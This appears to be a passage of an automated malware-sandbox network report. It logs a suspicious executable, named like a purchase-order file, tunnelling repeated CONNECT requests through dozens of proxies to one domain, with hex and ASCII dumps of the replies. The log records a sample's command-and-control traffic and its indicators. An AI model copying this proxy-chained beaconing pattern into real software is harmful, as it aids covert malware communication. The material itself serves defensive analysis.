70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 69 6d 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 36 32 36 32 36 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 2e 32 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 31 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 61 39 61 39 61 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=8; IE=EDGE"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://fonts.googleapis.com/css?family=Roboto&display=swap" rel="stylesheet"> <style type="text/css"> body { height: 100%; font-family: Roboto, Helvetica, Arial, sans-serif; color: #6a6a6a; margin: 0; display: flex; align-items: center; justify-content: center; } input[type=date], input[type=email], input[type=number], input[type=password], input[type=search], input[type=tel], input[type=text], input[type=time], input[type=url], select, textarea { color: #262626; vertical-align: baseline; margin: .2em; border-style: solid; border-width: 1px; border-color: #a9a9a9; background-color: #fff;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
662	192.168.2.11	50221	199.102.106.94	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.660075903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.688811064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
663	192.168.2.11	49957	218.255.187.60	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.661736965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.598789930 CET	830	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
664	192.168.2.11	52174	146.59.18.246	49871	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.662457943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
665	192.168.2.11	52181	39.108.229.14	8002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.663028955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.016251087 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 35 30 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314050"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
666	192.168.2.11	52158	93.157.248.108	88	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.667335987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
667	192.168.2.11	52219	89.248.204.178	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.667759895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.645112038 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
668	192.168.2.11	52272	211.222.252.187	8197	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.669264078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
669	192.168.2.11	52264	61.129.2.212	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.674886942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:52.003788948 CET	536	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
670	192.168.2.11	52280	52.73.224.54	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.676331997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.894994020 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:21 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
671	192.168.2.11	51964	36.134.91.82	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.676383018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.876209974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.447602034 CET	324	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Mon, 11 Mar 2024 15:42:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
672	192.168.2.11	52277	54.233.119.172	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.676383972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.003114939 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:21 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
673	192.168.2.11	51216	66.29.154.103	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.678047895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.845835924 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
674	192.168.2.11	52086	122.114.232.137	808	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.679548025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
675	192.168.2.11	52329	146.19.106.42	12334	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.682054996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
676	192.168.2.11	52323	92.204.134.38	52929	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.687019110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.329281092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.142071962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.603708982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.613317013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
677	192.168.2.11	52373	104.20.233.70	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.697913885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.853138924 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
678	192.168.2.11	52384	172.67.181.11	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.698827028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.853956938 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
679	192.168.2.11	52382	172.67.25.204	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.698956013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
